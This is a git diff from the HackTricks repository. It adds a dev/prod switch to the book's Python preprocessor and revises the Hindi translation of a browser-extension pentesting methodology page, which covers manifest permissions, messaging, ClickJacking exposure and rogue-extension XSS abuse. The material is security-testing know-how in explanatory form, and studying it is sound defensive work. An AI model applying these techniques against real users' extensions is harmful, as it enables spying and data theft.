diff --git a/book.toml b/book.toml
index 55f8eeb4f..3d588387c 100644
--- a/book.toml
+++ b/book.toml
@@ -22,6 +22,7 @@ after = ["links"]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
+env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 37f549101..fedfdef99 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -30,14 +30,16 @@ def ref(matchobj):
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
- # pass
- try:
- raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
- match = re.search('(.*?)', raw_html)
- title = match.group(1) if match else href
- except Exception as e:
- logger.debug(f'Error opening URL {href}: {e}')
- pass #nDont stop on broken link
+ if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+ pass
+ else:
+ try:
+ raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+ match = re.search('(.*?)', raw_html)
+ title = match.group(1) if match else href
+ except Exception as e:
+ logger.debug(f'Error opening URL {href}: {e}')
+ pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
-
+ logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md
index 8f85ed098..16c3b3342 100644
--- a/src/1911-pentesting-fox.md
+++ b/src/1911-pentesting-fox.md
@@ -12,7 +12,7 @@ dht udp "DHT Nodes"
![]()
-![]()
+![]()
InfluxDB
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index 580f7871b..10e79b6e6 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -14,24 +14,24 @@
### **Content Scripts**
-प्रत्येक कंटेंट स्क्रिप्ट को **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के संपर्क में आता है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमति नहीं होती है।
+प्रत्येक कंटेंट स्क्रिप्ट के पास **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के संपर्क में होती है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमति नहीं होती है।
### **Extension Core**
-एक्सटेंशन कोर में अधिकांश एक्सटेंशन विशेषाधिकार/पहुँच होती है, लेकिन एक्सटेंशन कोर केवल [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) और कंटेंट स्क्रिप्ट के माध्यम से वेब सामग्री के साथ इंटरैक्ट कर सकता है। इसके अलावा, एक्सटेंशन कोर को होस्ट मशीन तक सीधी पहुंच नहीं होती है।
+एक्सटेंशन कोर में अधिकांश एक्सटेंशन विशेषाधिकार/पहुँच होती है, लेकिन एक्सटेंशन कोर केवल [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) और कंटेंट स्क्रिप्ट के माध्यम से वेब सामग्री के साथ इंटरैक्ट कर सकता है। इसके अलावा, एक्सटेंशन कोर के पास होस्ट मशीन तक सीधी पहुंच नहीं होती है।
### **Native Binary**
-एक्सटेंशन एक नैटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकार के साथ होस्ट मशीन तक पहुंच सकता है।** नैटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है, जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है।
+एक्सटेंशन एक नेटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकार के साथ होस्ट मशीन तक पहुंच सकता है।** नेटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है, जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है।
### Boundaries
> [!CAUTION]
-> उपयोगकर्ता के पूर्ण विशेषाधिकार प्राप्त करने के लिए, एक हमलावर को एक्सटेंशन को यह मनाने की आवश्यकता होती है कि वह कंटेंट स्क्रिप्ट से दुर्भावनापूर्ण इनपुट को एक्सटेंशन के कोर में और एक्सटेंशन के कोर से नैटिव बाइनरी में पास करे।
+> उपयोगकर्ता के पूर्ण विशेषाधिकार प्राप्त करने के लिए, एक हमलावर को एक्सटेंशन को यह मनाने की आवश्यकता होती है कि वह कंटेंट स्क्रिप्ट से दुर्भावनापूर्ण इनपुट को एक्सटेंशन के कोर में और एक्सटेंशन के कोर से नेटिव बाइनरी में पास करे।
-एक्सटेंशन का प्रत्येक घटक एक-दूसरे से **मजबूत सुरक्षात्मक सीमाओं** द्वारा अलग होता है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए उपलब्ध नहीं हैं।
+एक्सटेंशन के प्रत्येक घटक को **मजबूत सुरक्षात्मक सीमाओं** द्वारा एक-दूसरे से अलग किया गया है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए उपलब्ध नहीं हैं।
-इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ **एक ही अंतर्निहित DOM** तक पहुंच रखते हैं, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है।
+इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती हैं**। कंटेंट स्क्रिप्ट और वेब पृष्ठ के पास **एक ही अंतर्निहित DOM** तक पहुंच होती है, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है।
## **`manifest.json`**
@@ -61,7 +61,7 @@ Example:
```
### `content_scripts`
-कंटेंट स्क्रिप्ट्स **लोड** होती हैं जब भी उपयोगकर्ता **मिलते-जुलते पृष्ठ पर नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। वे **पृष्ठ के अपने स्क्रिप्ट्स की तरह** निष्पादित होती हैं और पृष्ठ के [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) तक मनमाना पहुंच होती है।
+कंटेंट स्क्रिप्ट्स **लोड** होती हैं जब भी उपयोगकर्ता **मिलते-जुलते पृष्ठ पर नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। ये **पृष्ठ के अपने स्क्रिप्ट्स की तरह** निष्पादित होती हैं और पृष्ठ के [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) तक मनमाना पहुंच होती है।
```json
"content_scripts": [
{
@@ -95,11 +95,11 @@ document.body.appendChild(div)
> [!WARNING]
> ब्राउज़र के आधार पर, सामग्री स्क्रिप्ट की क्षमताएँ थोड़ी भिन्न हो सकती हैं। क्रोमियम-आधारित ब्राउज़रों के लिए, क्षमताओं की सूची [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) में उपलब्ध है, और फ़ायरफ़ॉक्स के लिए, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) प्राथमिक स्रोत के रूप में कार्य करता है।\
-> यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट्स के पास बैकग्राउंड स्क्रिप्ट्स के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है।
+> यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट के पास बैकग्राउंड स्क्रिप्ट के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है।
-Chrome में सामग्री स्क्रिप्ट्स को देखने और डिबग करने के लिए, Chrome डेवलपर टूल्स मेनू को Options > More tools > Developer tools से एक्सेस किया जा सकता है या Ctrl + Shift + I दबाकर।
+Chrome में सामग्री स्क्रिप्ट को देखने और डिबग करने के लिए, Chrome डेवलपर टूल मेनू को Options > More tools > Developer tools से एक्सेस किया जा सकता है या Ctrl + Shift + I दबाकर।
-डेवलपर टूल्स प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स का अवलोकन करने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है।
+डेवलपर टूल प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स का अवलोकन करने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है।
### Injected content scripts
@@ -173,11 +173,11 @@ URLs को शामिल या बाहर करने के लिए **
`run_at` फ़ील्ड **यह नियंत्रित करती है कि JavaScript फ़ाइलें वेब पृष्ठ में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान `"document_idle"` है।
-संभावित मान हैं:
+संभव मान हैं:
- **`document_idle`**: जब भी संभव हो
- **`document_start`**: `css` से किसी भी फ़ाइल के बाद, लेकिन किसी अन्य DOM के निर्माण या किसी अन्य स्क्रिप्ट के चलने से पहले।
-- **`document_end`**: DOM के पूर्ण होने के तुरंत बाद, लेकिन उप-संसाधनों जैसे छवियों और फ़्रेमों के लोड होने से पहले।
+- **`document_end`**: DOM के पूरा होने के तुरंत बाद, लेकिन छवियों और फ़्रेम जैसी उप-संसाधनों के लोड होने से पहले।
#### `manifest.json` के माध्यम से
```json
@@ -208,16 +208,16 @@ js: ["contentScript.js"],
```
### `background`
-सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त होते हैं, जो एक्सटेंशन के घटकों के समन्वय में केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, सीधे उपयोगकर्ता इंटरैक्शन के बिना काम करता है। इसमें अपना खुद का डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है।
+सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त किए जाते हैं, जो एक्सटेंशन के घटकों के समन्वय में एक केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, सीधे उपयोगकर्ता इंटरैक्शन के बिना काम करता है। इसमें अपना खुद का डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है।
**मुख्य बिंदु**:
- **बैकग्राउंड पेज की भूमिका:** एक्सटेंशन के लिए नर्व सेंटर के रूप में कार्य करता है, विभिन्न भागों के बीच संचार और समन्वय सुनिश्चित करता है।
-- **स्थिरता:** यह एक हमेशा उपस्थित इकाई है, जो उपयोगकर्ता के लिए अदृश्य है लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य है।
+- **स्थिरता:** यह एक हमेशा उपस्थित इकाई है, उपयोगकर्ता के लिए अदृश्य लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य है।
- **स्वचालित निर्माण:** यदि स्पष्ट रूप से परिभाषित नहीं किया गया है, तो ब्राउज़र स्वचालित रूप से एक बैकग्राउंड पेज बनाएगा। यह स्वचालित रूप से उत्पन्न पृष्ठ एक्सटेंशन के मैनिफेस्ट में निर्दिष्ट सभी बैकग्राउंड स्क्रिप्ट को शामिल करेगा, जिससे एक्सटेंशन के बैकग्राउंड कार्यों का निर्बाध संचालन सुनिश्चित होता है।
> [!TIP]
-> ब्राउज़र द्वारा स्वचालित रूप से बैकग्राउंड पेज उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यात्मक हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके।
+> ब्राउज़र द्वारा बैकग्राउंड पेज को स्वचालित रूप से उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यात्मक हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके।
उदाहरण बैकग्राउंड स्क्रिप्ट:
```js
@@ -239,20 +239,20 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
- **एक्शन पृष्ठ** तब प्रदर्शित होते हैं जब **एक्सटेंशन आइकन** पर क्लिक किया जाता है।
- पृष्ठ जो एक्सटेंशन **एक नए टैब में लोड करेगा**।
-- **विकल्प पृष्ठ**: यह पृष्ठ क्लिक करने पर एक्सटेंशन के शीर्ष पर प्रदर्शित होता है। पिछले मैनिफेस्ट में, मैं इस पृष्ठ तक `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` में पहुँचने में सक्षम था या क्लिक करके:
+- **विकल्प पृष्ठ**: यह पृष्ठ क्लिक करने पर एक्सटेंशन के शीर्ष पर प्रदर्शित होता है। पिछले मैनिफेस्ट में, मैं इस पृष्ठ तक पहुँचने में सक्षम था `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` या क्लिक करके:
ध्यान दें कि ये पृष्ठ बैकग्राउंड पृष्ठों की तरह स्थायी नहीं होते हैं क्योंकि वे आवश्यकता के अनुसार गतिशील सामग्री लोड करते हैं। इसके बावजूद, वे बैकग्राउंड पृष्ठ के साथ कुछ क्षमताएँ साझा करते हैं:
-- **सामग्री स्क्रिप्ट के साथ संचार:** बैकग्राउंड पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जिससे एक्सटेंशन के भीतर इंटरैक्शन को सुविधाजनक बनाया जा सकता है।
+- **सामग्री स्क्रिप्ट के साथ संचार:** बैकग्राउंड पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जो एक्सटेंशन के भीतर इंटरैक्शन को सुविधाजनक बनाता है।
- **एक्सटेंशन-विशिष्ट APIs तक पहुँच:** इन पृष्ठों को एक्सटेंशन-विशिष्ट APIs तक व्यापक पहुँच प्राप्त होती है, जो एक्सटेंशन के लिए परिभाषित अनुमतियों के अधीन होती है।
### `permissions` & `host_permissions`
-**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि ब्राउज़र एक्सटेंशन के पास कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों में**।
+**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि** ब्राउज़र एक्सटेंशन के पास **कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों** में।
-चूंकि ब्राउज़र एक्सटेंशन **विशेषाधिकार प्राप्त** हो सकते हैं, एक दुर्भावनापूर्ण या एक समझौता किया गया एक्सटेंशन हमलावर को **संवेदनशील जानकारी चुराने और उपयोगकर्ता पर जासूसी करने के लिए विभिन्न साधनों की अनुमति दे सकता है**।
+चूंकि ब्राउज़र एक्सटेंशन इतने **विशिष्ट** हो सकते हैं, एक दुर्भावनापूर्ण या एक जो समझौता किया गया हो, हमलावर को **संवेदनशील जानकारी चुराने और उपयोगकर्ता पर जासूसी करने के लिए विभिन्न साधनों की अनुमति दे सकता है**।
जांचें कि ये सेटिंग्स कैसे काम करती हैं और कैसे इनका दुरुपयोग किया जा सकता है:
@@ -305,9 +305,9 @@ chrome-extension:///message.html
हालांकि, यदि `manifest.json` पैरामीटर **`use_dynamic_url`** का उपयोग किया जाता है, तो यह **id गतिशील हो सकता है**।
> [!TIP]
-> ध्यान दें कि भले ही किसी पृष्ठ का उल्लेख यहां किया गया हो, यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले आपको इसे भी जांचना होगा (frame-ancestors अनुभाग)।
+> ध्यान दें कि यहां एक पृष्ठ का उल्लेख होने पर भी, यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले इसे (frame-ancestors सेक्शन) भी जांचना आवश्यक है।
-इन पृष्ठों तक पहुंचने की अनुमति होने से ये पृष्ठ **संभावित रूप से कमजोर ClickJacking** बन जाते हैं:
+इन पृष्ठों तक पहुंच की अनुमति देना इन पृष्ठों को **संभावित रूप से कमजोर ClickJacking** बनाता है:
{{#ref}}
browext-clickjacking.md
@@ -326,8 +326,8 @@ browext-clickjacking.md
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) के अनुसार, `"externally_connectable"` मैनिफेस्ट प्रॉपर्टी यह घोषित करती है कि **कौन सी एक्सटेंशन और वेब पृष्ठ आपके एक्सटेंशन से [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) और [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) के माध्यम से कनेक्ट कर सकते हैं**।
- यदि **`externally_connectable`** कुंजी आपके एक्सटेंशन के मैनिफेस्ट में **नहीं** घोषित की गई है या इसे **`"ids": ["*"]`** के रूप में घोषित किया गया है, तो **सभी एक्सटेंशन कनेक्ट कर सकते हैं, लेकिन कोई वेब पृष्ठ कनेक्ट नहीं कर सकता**।
-- यदि **विशिष्ट IDs निर्दिष्ट की गई हैं**, जैसे `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, तो **केवल वही अनुप्रयोग** कनेक्ट कर सकते हैं।
-- यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट कर सकेंगे:
+- यदि **विशिष्ट IDs निर्दिष्ट की गई हैं**, जैसे `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, तो **केवल वही एप्लिकेशन** कनेक्ट कर सकते हैं।
+- यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट करने में सक्षम होंगे:
```json
"matches": [
"https://*.google.com/*",
@@ -342,7 +342,7 @@ browext-clickjacking.md
>
> इसलिए, यह एक **बहुत शक्तिशाली बायपास** है।
>
-> इसके अलावा, यदि क्लाइंट एक रूग एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **XSS डेटा को एक अनुमत वेब पृष्ठ में** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदल दिया जा सके। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है।
+> इसके अलावा, यदि क्लाइंट एक राउज एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **XSS डेटा को एक अनुमत वेब पृष्ठ में** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदल दिया जा सके। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है।
## संचार सारांश
@@ -352,7 +352,7 @@ browext-clickjacking.md
### एक्सटेंशन के अंदर
-आम तौर पर **`chrome.runtime.sendMessage`** फ़ंक्शन का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आम तौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है।
+आम तौर पर **`chrome.runtime.sendMessage`** का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आमतौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है।
यह **`chrome.runtime.connect()`** का उपयोग करके एक स्थायी कनेक्शन बनाने के लिए भी संभव है, इसके बजाय एकल संदेश भेजने के, इसे **संदेश भेजने** और **प्राप्त करने** के लिए उपयोग किया जा सकता है जैसे कि निम्नलिखित उदाहरण में:
@@ -413,7 +413,7 @@ console.log("Received " + response)
```
## वेब **↔︎** सामग्री स्क्रिप्ट संचार
-जहाँ **सामग्री स्क्रिप्ट** कार्य करती हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **सामग्री स्क्रिप्ट** के साथ संचार करने के लिए, या सामग्री स्क्रिप्ट के माध्यम से विस्तार के साथ अप्रत्यक्ष रूप से संचार करने के लिए, आवश्यक है कि वह **DOM** का उपयोग करे जो दोनों पक्षों द्वारा सुलभ है, संचार चैनल के रूप में।
+जहाँ **सामग्री स्क्रिप्ट** कार्य करती हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **सामग्री स्क्रिप्ट** के साथ संचार करने के लिए, या सामग्री स्क्रिप्ट के माध्यम से विस्तार के साथ अप्रत्यक्ष रूप से संचार करने के लिए, आवश्यक है कि वे दोनों पक्षों द्वारा सुलभ **DOM** का उपयोग करें जो संचार चैनल के रूप में कार्य करता है।
### पोस्ट संदेश
```javascript:content-script.js
@@ -452,11 +452,11 @@ false
```
एक सुरक्षित Post Message संचार को प्राप्त संदेश की प्रामाणिकता की जांच करनी चाहिए, यह निम्नलिखित की जांच करके किया जा सकता है:
-- **`event.isTrusted`**: यह केवल तब सत्य है जब घटना उपयोगकर्ता की क्रिया द्वारा उत्पन्न की गई हो
+- **`event.isTrusted`**: यह केवल तब सत्य है जब घटना उपयोगकर्ता की क्रिया द्वारा ट्रिगर की गई हो
- सामग्री स्क्रिप्ट केवल तभी संदेश की अपेक्षा कर सकती है जब उपयोगकर्ता कुछ क्रिया करता है
-- **origin domain**: केवल डोमेन की अनुमति सूची में संदेश की अपेक्षा कर सकता है।
+- **origin domain**: केवल डोमेन की अनुमति सूची से संदेश की अपेक्षा कर सकता है।
- यदि regex का उपयोग किया जाता है, तो बहुत सावधान रहें
-- **Source**: `received_message.source !== window` का उपयोग यह जांचने के लिए किया जा सकता है कि क्या संदेश **उसी विंडो से** था जहां सामग्री स्क्रिप्ट सुन रही है।
+- **Source**: `received_message.source !== window` का उपयोग यह जांचने के लिए किया जा सकता है कि संदेश **उसी विंडो से** था जहां सामग्री स्क्रिप्ट सुन रही है।
पिछली जांचें, भले ही की गई हों, कमजोर हो सकती हैं, इसलिए निम्नलिखित पृष्ठ में **संभावित Post Message बायपास** की जांच करें:
@@ -509,7 +509,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
-**प्राप्ति के अंत** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करना होगा। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है।
+**प्राप्ति पक्ष** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करने की आवश्यकता है। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है।
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@@ -523,13 +523,13 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
```
उदाहरण में हाइलाइट किया गया, **`sendResponse()`** को समकालिक तरीके से निष्पादित किया गया था। `sendResponse()` के असमकालिक निष्पादन के लिए `onMessage` इवेंट हैंडलर को संशोधित करने के लिए, `return true;` को शामिल करना अनिवार्य है।
-एक महत्वपूर्ण विचार यह है कि उन परिदृश्यों में जहां कई पृष्ठ `onMessage` इवेंट प्राप्त करने के लिए सेट किए गए हैं, **विशिष्ट इवेंट के लिए `sendResponse()`** निष्पादित करने वाला पहला पृष्ठ ही प्रभावी रूप से प्रतिक्रिया देने में सक्षम होगा। उसी इवेंट के लिए किसी भी बाद की प्रतिक्रियाओं पर विचार नहीं किया जाएगा।
+एक महत्वपूर्ण विचार यह है कि उन परिदृश्यों में जहां कई पृष्ठों को `onMessage` इवेंट प्राप्त करने के लिए सेट किया गया है, **विशिष्ट इवेंट के लिए `sendResponse()`** निष्पादित करने वाला पहला पृष्ठ ही प्रभावी रूप से प्रतिक्रिया देने में सक्षम होगा। उसी इवेंट के लिए किसी भी बाद की प्रतिक्रियाओं पर विचार नहीं किया जाएगा।
-नए एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर `true` लौटाकर असमकालिक संचालन का संकेत देता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा।
+नए एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर `true` लौटाकर असमकालिक संचालन को इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा।
## Native Messaging
-ब्राउज़र एक्सटेंशन **stdin के माध्यम से सिस्टम में बाइनरी के साथ संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को इस बात का संकेत देने वाला एक json स्थापित करना चाहिए जैसे:
+ब्राउज़र एक्सटेंशन **stdin के माध्यम से सिस्टम में बाइनरी के साथ संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को इस बात को इंगित करने वाला एक json स्थापित करना चाहिए जैसे:
```json
{
